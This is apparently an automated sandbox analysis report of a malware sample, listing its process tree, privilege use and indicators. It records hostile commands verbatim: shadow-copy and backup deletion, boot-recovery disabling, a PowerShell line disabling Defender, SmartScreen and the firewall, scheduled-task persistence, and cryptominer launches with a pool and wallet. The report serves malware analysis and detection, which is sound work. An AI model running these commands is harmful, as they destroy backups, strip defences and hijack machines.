3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid	Process
3064

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe

pid	Process
1816	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

vssvc.exe7A7C.exe7FBD.exewmic.exeDriverRealtekHDmaster.exeWerFault.exeDriverMaster.exeOfficeClickToRun.exe

description	pid	Process
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeBackupPrivilege	1084	vssvc.exe
Token: SeRestorePrivilege	1084	vssvc.exe
Token: SeAuditPrivilege	1084	vssvc.exe
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeDebugPrivilege	760	7A7C.exe
Token: 33	760	7A7C.exe
Token: SeIncBasePriorityPrivilege	760	7A7C.exe
Token: SeDebugPrivilege	2616	7FBD.exe
Token: SeIncreaseQuotaPrivilege	3840	wmic.exe
Token: SeSecurityPrivilege	3840	wmic.exe
Token: SeTakeOwnershipPrivilege	3840	wmic.exe
Token: SeLoadDriverPrivilege	3840	wmic.exe
Token: SeSystemProfilePrivilege	3840	wmic.exe
Token: SeSystemtimePrivilege	3840	wmic.exe
Token: SeProfSingleProcessPrivilege	3840	wmic.exe
Token: SeIncBasePriorityPrivilege	3840	wmic.exe
Token: SeCreatePagefilePrivilege	3840	wmic.exe
Token: SeBackupPrivilege	3840	wmic.exe
Token: SeRestorePrivilege	3840	wmic.exe
Token: SeShutdownPrivilege	3840	wmic.exe
Token: SeDebugPrivilege	3840	wmic.exe
Token: SeSystemEnvironmentPrivilege	3840	wmic.exe
Token: SeRemoteShutdownPrivilege	3840	wmic.exe
Token: SeUndockPrivilege	3840	wmic.exe
Token: SeManageVolumePrivilege	3840	wmic.exe
Token: 33	3840	wmic.exe
Token: 34	3840	wmic.exe
Token: 35	3840	wmic.exe
Token: 36	3840	wmic.exe
Token: SeDebugPrivilege	1648	DriverRealtekHDmaster.exe
Token: 33	1648	DriverRealtekHDmaster.exe
Token: SeIncBasePriorityPrivilege	1648	DriverRealtekHDmaster.exe
Token: SeRestorePrivilege	2168	WerFault.exe
Token: SeBackupPrivilege	2168	WerFault.exe
Token: SeDebugPrivilege	2168	WerFault.exe
Token: SeDebugPrivilege	1608	DriverMaster.exe
Token: SeDebugPrivilege	3408	OfficeClickToRun.exe
Token: 33	3408	OfficeClickToRun.exe
Token: SeIncBasePriorityPrivilege	3408	OfficeClickToRun.exe
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064
Token: SeShutdownPrivilege	3064
Token: SeCreatePagefilePrivilege	3064

Suspicious use of FindShellTrayWindow 12 IoCs

Processes:

pid	Process
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064
3064

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

pid	Process
3064
3064
3064

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe73D4.exe7A7C.exeZZZZZ.exe

description	pid	Process	procid_target
PID 3176 wrote to memory of 1816	3176	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe	69
PID 3176 wrote to memory of 1816	3176	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe	69
PID 3176 wrote to memory of 1816	3176	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe	69
PID 3176 wrote to memory of 1816	3176	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe	69
PID 3176 wrote to memory of 1816	3176	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe	69
PID 3176 wrote to memory of 1816	3176	b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe	69
PID 3064 wrote to memory of 3384	3064		70
PID 3064 wrote to memory of 3384	3064		70
PID 3064 wrote to memory of 3384	3064		70
PID 3064 wrote to memory of 688	3064		71
PID 3064 wrote to memory of 688	3064		71
PID 688 wrote to memory of 4004	688	73D4.exe	73
PID 688 wrote to memory of 4004	688	73D4.exe	73
PID 3064 wrote to memory of 760	3064		75
PID 3064 wrote to memory of 760	3064		75
PID 3064 wrote to memory of 760	3064		75
PID 688 wrote to memory of 2068	688	73D4.exe	78
PID 688 wrote to memory of 2068	688	73D4.exe	78
PID 3064 wrote to memory of 2616	3064		80
PID 3064 wrote to memory of 2616	3064		80
PID 3064 wrote to memory of 2616	3064		80
PID 688 wrote to memory of 2604	688	73D4.exe	81
PID 688 wrote to memory of 2604	688	73D4.exe	81
PID 688 wrote to memory of 4060	688	73D4.exe	83
PID 688 wrote to memory of 4060	688	73D4.exe	83
PID 688 wrote to memory of 3828	688	73D4.exe	85
PID 688 wrote to memory of 3828	688	73D4.exe	85
PID 688 wrote to memory of 3852	688	73D4.exe	87
PID 688 wrote to memory of 3852	688	73D4.exe	87
PID 688 wrote to memory of 1336	688	73D4.exe	89
PID 688 wrote to memory of 1336	688	73D4.exe	89
PID 688 wrote to memory of 3248	688	73D4.exe	91
PID 688 wrote to memory of 3248	688	73D4.exe	91
PID 688 wrote to memory of 2360	688	73D4.exe	93
PID 688 wrote to memory of 2360	688	73D4.exe	93
PID 688 wrote to memory of 2888	688	73D4.exe	95
PID 688 wrote to memory of 2888	688	73D4.exe	95
PID 688 wrote to memory of 2604	688	73D4.exe	97
PID 688 wrote to memory of 2604	688	73D4.exe	97
PID 688 wrote to memory of 3496	688	73D4.exe	99
PID 688 wrote to memory of 3496	688	73D4.exe	99
PID 688 wrote to memory of 3828	688	73D4.exe	101
PID 688 wrote to memory of 3828	688	73D4.exe	101
PID 688 wrote to memory of 3720	688	73D4.exe	103
PID 688 wrote to memory of 3720	688	73D4.exe	103
PID 3064 wrote to memory of 1912	3064		105
PID 3064 wrote to memory of 1912	3064		105
PID 3064 wrote to memory of 1912	3064		105
PID 688 wrote to memory of 4004	688	73D4.exe	106
PID 688 wrote to memory of 4004	688	73D4.exe	106
PID 688 wrote to memory of 2308	688	73D4.exe	108
PID 688 wrote to memory of 2308	688	73D4.exe	108
PID 688 wrote to memory of 3996	688	73D4.exe	110
PID 688 wrote to memory of 3996	688	73D4.exe	110
PID 760 wrote to memory of 3480	760	7A7C.exe	112
PID 760 wrote to memory of 3480	760	7A7C.exe	112
PID 760 wrote to memory of 3480	760	7A7C.exe	112
PID 688 wrote to memory of 3840	688	73D4.exe	113
PID 688 wrote to memory of 3840	688	73D4.exe	113
PID 3480 wrote to memory of 3408	3480	ZZZZZ.exe	114
PID 3480 wrote to memory of 3408	3480	ZZZZZ.exe	114
PID 3480 wrote to memory of 3408	3480	ZZZZZ.exe	114
PID 3480 wrote to memory of 2796	3480	ZZZZZ.exe	117
PID 3480 wrote to memory of 2796	3480	ZZZZZ.exe	117

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

Processes:

73D4.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	73D4.exe

C:\Users\Admin\AppData\Local\Temp\b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe
"C:\Users\Admin\AppData\Local\Temp\b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3176
- C:\Users\Admin\AppData\Local\Temp\b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe
  "C:\Users\Admin\AppData\Local\Temp\b5081c9709ebc129b0c291bcbfd6bc43ba07d3fcf6ebf93d678236128b2e533a.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1816

C:\Users\Admin\AppData\Local\Temp\6750.exe
C:\Users\Admin\AppData\Local\Temp\6750.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3384

C:\Users\Admin\AppData\Local\Temp\73D4.exe
C:\Users\Admin\AppData\Local\Temp\73D4.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Modifies extensions of user files
- Adds Run key to start application
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
- System policy modification
PID:688
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:4004
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2068
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2604
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:4060
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3828
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3852
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1336
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3248
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2360
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2888
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2604
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3496
- C:\Windows\SYSTEM32\vssadmin.exe
  vssadmin.exe Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:3828
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3720
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4004
- C:\Windows\SYSTEM32\wbadmin.exe
  wbadmin DELETE SYSTEMSTATEBACKUP
  2⤵
  - Deletes System State backups
  - Drops file in Windows directory
  PID:2308
- C:\Windows\SYSTEM32\wbadmin.exe
  wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
  2⤵
  - Deletes System State backups
  - Drops file in Windows directory
  PID:3996
- C:\Windows\System32\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3840
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\73D4.exe >> NUL
  2⤵
  PID:3488

C:\Users\Admin\AppData\Local\Temp\7A7C.exe
C:\Users\Admin\AppData\Local\Temp\7A7C.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:760
- C:\ProgramData\ZZZZZ.exe
  "C:\ProgramData\ZZZZZ.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c start C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
    3⤵
    PID:3408
  - - C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
      C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
      4⤵
      Modifies WinLogon for persistence
      Executes dropped EXE
      Adds Run key to start application
      Drops file in System32 directory
      Drops file in Program Files directory
      Drops file in Windows directory
      Suspicious use of AdjustPrivilegeToken
      PID:1648
    - - C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer\OfficeClickToRun.exe
        
        "C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer\OfficeClickToRun.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3408
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c start C:\Users\Admin\AppData\Local\Temp\DriverMaster.exe
    3⤵
    PID:2796
  - - C:\Users\Admin\AppData\Local\Temp\DriverMaster.exe
      C:\Users\Admin\AppData\Local\Temp\DriverMaster.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1608
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"' & exit
        5⤵
        
        PID:3384
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:836
    - - C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"
        5⤵
        Executes dropped EXE
        
        PID:768
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"' & exit
        6⤵
        
        PID:3852
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"'
        7⤵
        Creates scheduled task(s)
        
        PID:436
      - C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        6⤵
        Executes dropped EXE
        
        PID:2724
- C:\Users\Admin\AppData\Local\Temp\7A7C.exe
  "C:\Users\Admin\AppData\Local\Temp\7A7C.exe"
  2⤵
  - Executes dropped EXE
  PID:1804

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1084

C:\Users\Admin\AppData\Local\Temp\7FBD.exe
C:\Users\Admin\AppData\Local\Temp\7FBD.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2616
- C:\Users\Admin\AppData\Local\Temp\7FBD.exe
  "C:\Users\Admin\AppData\Local\Temp\7FBD.exe"
  2⤵
  - Executes dropped EXE
  PID:2180
- - C:\Users\Admin\AppData\Local\Temp\Zena.exe
    "C:\Users\Admin\AppData\Local\Temp\Zena.exe"
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Modifies system certificate store
    PID:256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)
      4⤵
      Modifies security service
      PID:436
    - - C:\ProgramData\UpSys.exe
        
        "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
        5⤵
        Executes dropped EXE
        
        PID:1656
      - C:\ProgramData\UpSys.exe
        
        "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
        6⤵
        Executes dropped EXE
        
        PID:4204
        
        C:\ProgramData\UpSys.exe
        
        "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
        7⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        8⤵
        Modifies data under HKEY_USERS
        
        PID:4384
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        5⤵
        
        PID:4152
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      PID:4440
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4636
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4788
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4840
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4872
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4916
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4956
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4984
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:5096
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4232
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4328
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4156
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4336
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4440
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4524
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4592
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4612
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:3568
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:3252
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:3828
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4652
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4712
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4780
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4848
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:4552
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4892
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4648
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:4936
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
      Executes dropped EXE
      PID:268
  - - C:\ProgramData\Systemd\Moneylogs1.exe
      -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
      4⤵
